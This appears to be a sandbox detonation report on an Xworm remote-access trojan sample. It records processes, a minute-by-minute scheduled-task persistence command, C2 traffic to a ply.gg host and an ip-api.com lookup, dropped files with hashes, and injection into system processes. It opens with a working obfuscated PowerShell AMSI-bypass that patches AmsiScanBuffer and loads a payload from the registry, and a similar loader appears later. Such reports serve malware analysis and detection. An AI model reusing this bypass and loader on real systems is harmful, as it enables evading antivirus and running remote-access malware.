@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$dVkiNRQpMCL=$NpWDEyMHYuxZv.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+'2'+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')));$KloZEbziXoPRPJ=$fEJsduPORCSPaR.Invoke($Null,@([Object]$dVkiNRQpMCL,[Object]('L'+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+'ra'+'r'+''+[Char](121)+''+[Char](65)+'')));$dbqqakGsOfwuXPVmY=$fEJsduPORCSPaR.Invoke($Null,@([Object]$dVkiNRQpMCL,[Object](''+'V'+''+[Char](105)+''+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'te'+'c'+''+[Char](116)+'')));$xqxcbTy=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KloZEbziXoPRPJ,$SeygckbcSEYCoKjAUYK).Invoke('a'+[Char](109)+''+'s'+''+[Char](105)+'.'+'d'+''+[Char](108)+''+[Char](108)+'');$rMELbTMOcBvPNPWgy=$fEJsduPORCSPaR.Invoke($Null,@([Object]$xqxcbTy,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+'c'+''+'a'+''+'n'+''+'B'+''+[Char](117)+'ff'+[Char](101)+''+'r'+'')));$YkukAMADLc=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dbqqakGsOfwuXPVmY,$wBfbpPrBcbYYyYWHCedWLR).Invoke($rMELbTMOcBvPNPWgy,[uint32]8,4,[ref]$YkukAMADLc);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$rMELbTMOcBvPNPWgy,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dbqqakGsOfwuXPVmY,$wBfbpPrBcbYYyYWHCedWLR).Invoke($rMELbTMOcBvPNPWgy,[uint32]8,0x20,[ref]$YkukAMADLc);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+'x'+''+[Char](52)+'st'+'a'+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\System32\WaaSMedicAgent.exe

C:\Windows\System32\WaaSMedicAgent.exe 5e84e0047b561e6234f97b2591a79967 k4AZXetrmUezTf+lA+Ck7Q.0.1.0.0.0

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{ba342615-36ba-4fba-b55d-27d28b56338c}

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Windows\servicing\TrustedInstaller.exe

C:\Windows\servicing\TrustedInstaller.exe

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "x4svchost" /tr "C:\Users\Admin\AppData\Roaming\x4svchost.exe"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc

C:\Windows\System32\mousocoreworker.exe

C:\Windows\System32\mousocoreworker.exe -Embedding

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding

C:\Users\Admin\AppData\Roaming\x4svchost.exe

C:\Users\Admin\AppData\Roaming\x4svchost.exe

C:\Users\Admin\AppData\Roaming\x4svchost.exe

C:\Users\Admin\AppData\Roaming\x4svchost.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 14.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 edition-eat.gl.at.ply.gg udp
US 147.185.221.19:13576 edition-eat.gl.at.ply.gg tcp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
N/A 127.0.0.1:13576 tcp
N/A 127.0.0.1:13576 tcp
US 147.185.221.19:13576 edition-eat.gl.at.ply.gg tcp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 52.111.229.43:443 tcp
US 147.185.221.19:13576 edition-eat.gl.at.ply.gg tcp
US 8.8.8.8:53 144.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
N/A 127.0.0.1:13576 tcp
US 147.185.221.19:13576 edition-eat.gl.at.ply.gg tcp
US 8.8.8.8:53 89.16.208.104.in-addr.arpa udp

Files

memory/620-0-0x00007FFCBF2A3000-0x00007FFCBF2A5000-memory.dmp

memory/620-1-0x0000000000FD0000-0x0000000001008000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\x4r.exe

MD5 41ec20be55512c40a941c12cc99f054e
SHA1 cd8c30618e560a3e54abb5ad1efc29d859aefe4e
SHA256 f8f0cec95dda3ee23a359a9891c66908e36a8b91cfd6294358910761c211d4c3
SHA512 4148f017e59a8995003eb1a3decf3a3f2ceb1e57d7040e1092704b16a69d4b61ce2e4d66fea9c33ab797ba47838b74b7de7206c5876f3d7bdddb2b8383ecc64b

memory/620-10-0x00007FFCBF2A0000-0x00007FFCBFD61000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe

MD5 8a7bee2c8cec6ac50bc42fe03d3231e6
SHA1 ebc599a15f061a70f6b3ee74b9acfa4e3b4d299d
SHA256 c8139f7fcde9c68cd331bcd438dfea7f02c463c6372dc477ab305da518483db8
SHA512 34370b6f162cb752b1cb91d689705e6f0f247e02744bbbe85347d20cd89e02aba7c5e9e22bb63acc49b4fdc062de12ccf24f481a18c18d2094e1506bb143cad5

memory/404-24-0x0000000000CC0000-0x0000000000CD6000-memory.dmp

memory/404-23-0x00007FFCBF2A0000-0x00007FFCBFD61000-memory.dmp

memory/620-25-0x00007FFCBF2A0000-0x00007FFCBFD61000-memory.dmp

C:\Windows\Temp\__PSScriptPolicyTest_2nk54qsp.tur.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2384-35-0x0000016613F30000-0x0000016613F52000-memory.dmp

memory/2384-36-0x000001662C310000-0x000001662C33A000-memory.dmp

memory/2384-37-0x00007FFCDD290000-0x00007FFCDD485000-memory.dmp

memory/2384-38-0x00007FFCDCBD0000-0x00007FFCDCC8E000-memory.dmp

memory/5096-42-0x0000000140000000-0x0000000140008000-memory.dmp

memory/5096-46-0x00007FFCDCBD0000-0x00007FFCDCC8E000-memory.dmp

memory/5096-45-0x00007FFCDD290000-0x00007FFCDD485000-memory.dmp

memory/5096-44-0x0000000140000000-0x0000000140008000-memory.dmp

memory/5096-41-0x0000000140000000-0x0000000140008000-memory.dmp

memory/5096-40-0x0000000140000000-0x0000000140008000-memory.dmp

memory/5096-39-0x0000000140000000-0x0000000140008000-memory.dmp

memory/5096-47-0x0000000140000000-0x0000000140008000-memory.dmp

memory/668-70-0x00007FFC9D310000-0x00007FFC9D320000-memory.dmp

memory/956-82-0x00007FFC9D310000-0x00007FFC9D320000-memory.dmp

memory/1016-93-0x00007FFC9D310000-0x00007FFC9D320000-memory.dmp

memory/408-97-0x0000026CE0A60000-0x0000026CE0A8C000-memory.dmp

memory/1016-92-0x0000026362790000-0x00000263627BC000-memory.dmp

memory/1016-86-0x0000026362790000-0x00000263627BC000-memory.dmp

memory/956-81-0x0000023072400000-0x000002307242C000-memory.dmp

memory/956-75-0x0000023072400000-0x000002307242C000-memory.dmp

memory/668-69-0x00000150EAEC0000-0x00000150EAEEC000-memory.dmp

memory/668-63-0x00000150EAEC0000-0x00000150EAEEC000-memory.dmp

memory/608-59-0x00007FFC9D310000-0x00007FFC9D320000-memory.dmp

memory/608-58-0x0000020E07640000-0x0000020E0766C000-memory.dmp

memory/608-52-0x0000020E07640000-0x0000020E0766C000-memory.dmp

memory/608-51-0x0000020E07640000-0x0000020E0766C000-memory.dmp

memory/608-50-0x0000020E07610000-0x0000020E07636000-memory.dmp

memory/404-746-0x00007FFCBF2A0000-0x00007FFCBFD61000-memory.dmp

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

MD5 1e8e2076314d54dd72e7ee09ff8a52ab
SHA1 5fd0a67671430f66237f483eef39ff599b892272
SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA512 5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

MD5 0b990e24f1e839462c0ac35fef1d119e
SHA1 9e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512 c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

MD5 ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1 a3879621f9493414d497ea6d70fbf17e283d5c08
SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA512 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

MD5 7d612892b20e70250dbd00d0cdd4f09b
SHA1 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512 f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

MD5 f313c5b4f95605026428425586317353
SHA1 06be66fa06e1cffc54459c38d3d258f46669d01a
SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512 b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

memory/404-903-0x00007FFCBF2A0000-0x00007FFCBFD61000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\x4svchost.exe.log

MD5 2ff39f6c7249774be85fd60a8f9a245e
SHA1 684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA512 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-21 07:13

Reported

2024-06-21 07:16

Platform

win7-20240508-en

Max time kernel

150s

Max time network

16s

Command Line

winlogon.exe

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Modifies security service

evasion
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP C:\Windows\System32\svchost.exe N/A
Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection C:\Windows\System32\svchost.exe N/A

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 2776 created 432 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\system32\winlogon.exe

Xworm

trojan rat xworm

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\x4r.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2776 set thread context of 1716 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe

Enumerates physical storage devices

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 606c11a0aac3da01 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\x4r.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\dllhost.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\svchost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1920 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Local\Temp\x4rr.exe C:\Users\Admin\AppData\Local\Temp\x4r.exe
PID 1920 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Local\Temp\x4rr.exe C:\Users\Admin\AppData\Local\Temp\x4r.exe
PID 1920 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Local\Temp\x4rr.exe C:\Users\Admin\AppData\Local\Temp\x4r.exe
PID 1920 wrote to memory of 2688 N/A C:\Users\Admin\AppData\Local\Temp\x4rr.exe C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
PID 1920 wrote to memory of 2688 N/A C:\Users\Admin\AppData\Local\Temp\x4rr.exe C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
PID 1920 wrote to memory of 2688 N/A C:\Users\Admin\AppData\Local\Temp\x4rr.exe C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
PID 1920 wrote to memory of 2688 N/A C:\Users\Admin\AppData\Local\Temp\x4rr.exe C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
PID 2412 wrote to memory of 2776 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
PID 2412 wrote to memory of 2776 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
PID 2412 wrote to memory of 2776 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
PID 2776 wrote to memory of 1716 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2776 wrote to memory of 1716 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2776 wrote to memory of 1716 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2776 wrote to memory of 1716 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2776 wrote to memory of 1716 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2776 wrote to memory of 1716 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2776 wrote to memory of 1716 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2776 wrote to memory of 1716 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2776 wrote to memory of 1716 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 1716 wrote to memory of 432 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\winlogon.exe
PID 1716 wrote to memory of 476 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\services.exe
PID 1716 wrote to memory of 492 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\lsass.exe
PID 1716 wrote to memory of 500 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\lsm.exe
PID 1716 wrote to memory of 592 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 1716 wrote to memory of 672 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 1716 wrote to memory of 760 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 1716 wrote to memory of 820 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 1716 wrote to memory of 852 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 1716 wrote to memory of 972 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 1716 wrote to memory of 272 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 1716 wrote to memory of 1052 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\spoolsv.exe
PID 1716 wrote to memory of 1072 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\taskhost.exe
PID 1716 wrote to memory of 1108 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 1716 wrote to memory of 1164 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\Dwm.exe
PID 1716 wrote to memory of 1192 N/A C:\Windows\System32\dllhost.exe C:\Windows\Explorer.EXE
PID 1716 wrote to memory of 2232 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 1716 wrote to memory of 2272 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\sppsvc.exe
PID 1716 wrote to memory of 2344 N/A C:\Windows\System32\dllhost.exe C:\Users\Admin\AppData\Local\Temp\x4r.exe
PID 1716 wrote to memory of 2412 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\taskeng.exe

Processes

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\services.exe

C:\Windows\system32\services.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsm.exe

C:\Windows\system32\lsm.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k RPCSS

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\spoolsv.exe

C:\Windows\system32\taskhost.exe

"taskhost.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork

C:\Windows\system32\Dwm.exe

"C:\Windows\system32\Dwm.exe"

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation

C:\Windows\system32\sppsvc.exe

C:\Windows\system32\sppsvc.exe

C:\Users\Admin\AppData\Local\Temp\x4rr.exe

"C:\Users\Admin\AppData\Local\Temp\x4rr.exe"

C:\Users\Admin\AppData\Local\Temp\x4r.exe

"C:\Users\Admin\AppData\Local\Temp\x4r.exe"

C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe

"C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe"

C:\Windows\system32\taskeng.exe

taskeng.exe {55BC65E2-8262-448A-AA4E-608BFDEFCF47} S-1-5-18:NT AUTHORITY\System:Service:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+'T'+'W'+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](120)+''+[Char](52)+'s'+'t'+'a'+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{c7bdd4c7-eeb4-4ce6-8ccc-ce232b549d66}

Network

N/A

Files

memory/1920-0-0x000007FEF55F3000-0x000007FEF55F4000-memory.dmp

memory/1920-1-0x0000000000DA0000-0x0000000000DD8000-memory.dmp

memory/1920-4-0x000007FEF55F0000-0x000007FEF5FDC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\x4r.exe

MD5 41ec20be55512c40a941c12cc99f054e
SHA1 cd8c30618e560a3e54abb5ad1efc29d859aefe4e
SHA256 f8f0cec95dda3ee23a359a9891c66908e36a8b91cfd6294358910761c211d4c3
SHA512 4148f017e59a8995003eb1a3decf3a3f2ceb1e57d7040e1092704b16a69d4b61ce2e4d66fea9c33ab797ba47838b74b7de7206c5876f3d7bdddb2b8383ecc64b

memory/2344-9-0x0000000000F40000-0x0000000000F56000-memory.dmp

memory/2344-14-0x000007FEF55F0000-0x000007FEF5FDC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe

MD5 8a7bee2c8cec6ac50bc42fe03d3231e6
SHA1 ebc599a15f061a70f6b3ee74b9acfa4e3b4d299d
SHA256 c8139f7fcde9c68cd331bcd438dfea7f02c463c6372dc477ab305da518483db8
SHA512 34370b6f162cb752b1cb91d689705e6f0f247e02744bbbe85347d20cd89e02aba7c5e9e22bb63acc49b4fdc062de12ccf24f481a18c18d2094e1506bb143cad5

memory/1920-15-0x000007FEF55F0000-0x000007FEF5FDC000-memory.dmp

memory/2776-16-0x0000000019F70000-0x000000001A252000-memory.dmp

memory/2776-17-0x0000000001270000-0x0000000001278000-memory.dmp

memory/2776-18-0x000000001A360000-0x000000001A38A000-memory.dmp

memory/2776-20-0x0000000076ED0000-0x0000000076FEF000-memory.dmp

memory/2776-19-0x00000000770F0000-0x0000000077299000-memory.dmp

memory/1716-21-0x0000000140000000-0x0000000140008000-memory.dmp

memory/1716-22-0x0000000140000000-0x0000000140008000-memory.dmp

memory/1716-23-0x0000000140000000-0x0000000140008000-memory.dmp

memory/1716-24-0x0000000140000000-0x0000000140008000-memory.dmp

memory/1716-26-0x0000000140000000-0x0000000140008000-memory.dmp

memory/1716-27-0x00000000770F0000-0x0000000077299000-memory.dmp

memory/1716-28-0x0000000076ED0000-0x0000000076FEF000-memory.dmp

memory/1716-29-0x0000000140000000-0x0000000140008000-memory.dmp

memory/432-32-0x00000000001F0000-0x0000000000216000-memory.dmp

memory/432-34-0x00000000001F0000-0x0000000000216000-memory.dmp

memory/432-35-0x0000000000BA0000-0x0000000000BCC000-memory.dmp

memory/432-36-0x0000000000BA0000-0x0000000000BCC000-memory.dmp

memory/432-42-0x0000000000BA0000-0x0000000000BCC000-memory.dmp

memory/432-43-0x000007FEBEC90000-0x000007FEBECA0000-memory.dmp

memory/432-44-0x0000000037130000-0x0000000037140000-memory.dmp

memory/476-50-0x0000000000130000-0x000000000015C000-memory.dmp

memory/476-56-0x0000000000130000-0x000000000015C000-memory.dmp

memory/476-57-0x000007FEBEC90000-0x000007FEBECA0000-memory.dmp

memory/476-58-0x0000000037130000-0x0000000037140000-memory.dmp

memory/492-64-0x0000000000180000-0x00000000001AC000-memory.dmp

memory/492-70-0x0000000000180000-0x00000000001AC000-memory.dmp

memory/492-71-0x000007FEBEC90000-0x000007FEBECA0000-memory.dmp

